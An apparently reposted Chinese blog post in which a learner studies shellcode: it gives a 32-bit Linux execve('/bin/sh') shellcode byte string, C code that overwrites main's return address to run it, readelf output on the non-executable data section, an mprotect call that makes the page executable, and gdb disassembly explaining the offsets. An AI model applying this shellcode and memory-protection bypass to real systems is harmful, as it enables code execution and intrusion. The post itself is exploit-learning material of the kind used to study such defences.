data section保护

来源:互联网 发布:比赛队伍名称知乎 编辑:程序博客网 时间:2024/06/07 09:35

最近学点shell code。

看了一个基础的例子:

照着书上敲了一遍:

//a.c

char shellcode[] =
"\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46"
"\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1"
"\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";
int main()
{
int *ret;
ret = (int *)&ret + 2;
(*ret) = (int)shellcode;
}

>>gcc a.c ; ./a.out

结果出现Segmentation fault

查其原因,是因为data section不再像以前那样,可执行了。

root@ubuntu:/tmp# readelf -S a.out
There are 30 section headers, starting at offset 0x1194:

Section Headers:
  [Nr] Name              Type            Addr     Off    Size   ES Flg Lk Inf Al
  [ 0]                   NULL            00000000 000000 000000 00      0   0  0
...

   [13] .text             PROGBITS        08048300 000300 00017c 00  AX  0   0 16

...
  [24] .data             PROGBITS        0804a020 001020 00004c 00  WA  0   0 32
...
Key to Flags:
  W (write), A (alloc), X (execute), M (merge), S (strings)
  I (info), L (link order), G (group), T (TLS), E (exclude), x (unknown)
  O (extra OS processing required) o (OS specific), p (processor specific)

由此可以看出,没给data section执行的权限X

======================================================================================================================

于是改代码,在代码中添加mprotect函数,给data section增加X权限。

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/syscall.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/mman.h>


char shellcode[] = //"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90";


"\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46"
"\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1"
"\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";


int main()
{
        int *ret;
        ret = (int*)&ret + 4;
        (*ret) = (int)shellcode;
        mprotect((void*)((int)(*ret) & 0xfffff000), 0x2000, PROT_READ|PROT_WRITE|PROT_EXEC);
}

root@ubuntu:/tmp# ./a.out

#

执行成功

======================================================================================================================

在这里把源代码的&ret + 2改成了&ret + 4

这是因为在原代码中,将main函数反汇编可以看到

   0x080483b4 <+0>:     push   %ebp
   0x080483b5 <+1>:     mov    %esp,%ebp
   0x080483b7 <+3>:     sub    $0x10,%esp
   0x080483ba <+6>:     lea    -0x4(%ebp),%eax
   0x080483bd <+9>:     add    $0x8,%eax
   0x080483c0 <+12>:    mov    %eax,-0x4(%ebp)
   0x080483c3 <+15>:    mov    -0x4(%ebp),%eax
   0x080483c6 <+18>:    mov    $0x804a040,%edx
   0x080483cb <+23>:    mov    %edx,(%eax)
   0x080483cd <+25>:    leave
   0x080483ce <+26>:    ret

而在修改后的代码中,通过比较可以发现,计算eip的方法变了:原例子中计算方法是ebp-  4 + 8

而修改代码后则变成了ebp - 8(此处为减8的原因是and    $0xfffffff0,%esp) - 0x20 + 0x10 + 0x1c

=> 0x080483e4 <+0>:     push   %ebp

   0x080483e5 <+1>:     mov    %esp,%ebp
   0x080483e7 <+3>:     and    $0xfffffff0,%esp
   0x080483ea <+6>:     sub    $0x20,%esp
   0x080483ed <+9>:     lea    0x1c(%esp),%eax
   0x080483f1 <+13>:    add    $0x10,%eax

   0x080483f4 <+16>:    mov    %eax,0x1c(%esp)
   0x080483f8 <+20>:    mov    0x1c(%esp),%eax
   0x080483fc <+24>:    mov    $0x804a040,%edx
   0x08048401 <+29>:    mov    %edx,(%eax)

   0x08048403 <+31>:    mov    0x1c(%esp),%eax
   0x08048407 <+35>:    mov    (%eax),%eax
   0x08048409 <+37>:    and    $0xfffff000,%eax
   0x0804840e <+42>:    movl   $0x7,0x8(%esp)
   0x08048416 <+50>:    movl   $0x2000,0x4(%esp)
   0x0804841e <+58>:    mov    %eax,(%esp)
   0x08048421 <+61>:    call   0x8048300 <mprotect@plt>
   0x08048426 <+66>:    leave
   0x08048427 <+67>:    ret
End of assembler dump.
(gdb) ni
0x080483e5      18      {
(gdb) ni
0x080483e7      18      {
(gdb) print/x $esp
$1 = 0xbffff728
(gdb) q


虽然成功溢出,但是没有提权成功。还得接着学习。




原创粉丝点击